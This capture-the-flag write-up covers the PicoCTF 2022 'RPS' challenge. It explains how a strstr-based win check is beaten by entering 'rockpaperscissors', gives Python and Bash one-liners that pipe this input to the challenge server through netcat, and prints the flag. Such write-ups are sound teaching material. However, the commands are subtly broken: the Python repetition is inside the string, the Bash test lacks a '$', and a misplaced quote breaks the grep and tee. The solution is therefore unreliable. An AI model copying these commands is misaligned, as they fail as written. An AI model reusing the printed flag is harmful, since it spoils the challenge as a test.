PicoCTF 2022
Name: RPS
Category: Binary Exploitation
Points: 300
Summary
-
The binary uses faulty checks for win condition with a function named
strstrwhich in C locates a substring in the inputted string. See this link for more concise explanation. - In lines 100-107, we can see the implementation of
strstrfunction that checks if our played turn (input string) is in thelosesarray that is defined in line 18 of the source code. If the inputted string is a substring oflosesarray, we win, if not we lose. - Challenge description hints that we need to win
5times to get the flag. - This challenge does not have binary to be downloaded.
Code Snippet
Variable definition

Faulty Condition

Solution
-
First, we must launch the instance so we can see the downloadable source code and we can download it using
wget.
Command:
wget https://[URL GOES HERE]/game-redacted.c
-
Knowing that we just need to include all playable hands to win and we need to win
5times to get the flag, we can easily do this usingpythonand connect to the remote instance usingnetcat(nc).Using Python
Command:
python3 -c "print('1\nrockpaperscissors\n*5'); print('2\n')" | nc saturn.picoctf.net [PORT] | grep -oE "picoCTF{.*?}" --color=none | tee flag.txt-
Explanation
Python output:
// To play the game we need to input 1 and to exit we need to enter 2. 1 rockpaperscissors rockpaperscissors rockpaperscissors rockpaperscissors rockpaperscissors 2
Explanation (continuation): Pipes the output of our
pythonscript to the input of ourncconnection and filters the output with regular expression matching the string withpicoCTF{...}and save the output to a file namedflag.txt
Using Bash
Command:
for i in {1..5}; do echo "1\nrockpaperscissors\n"; if [ i -eq 5 ]; then echo "2\n"; fi; done | nc saturn.picoctf.net [PORT] | grep -oE "picoCTF{.*?} | tee flag.txt"Explanation: This also achieves the same output that we want. We print 5
rockpaperscissorsand ifiis equal to5we exit the program and grab the flag from thencconnection output and save it to a file namedflag.txt.
-
-
Submit the flag and get you points!
Flag
Flag: picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}
Feedbacks
Note: if there are any mistakes/errors in the explanation or anything in general feel free to dm me at Twitter: @hambyhaxx. I will correct and update the contents of this writeup. Thank you for reading!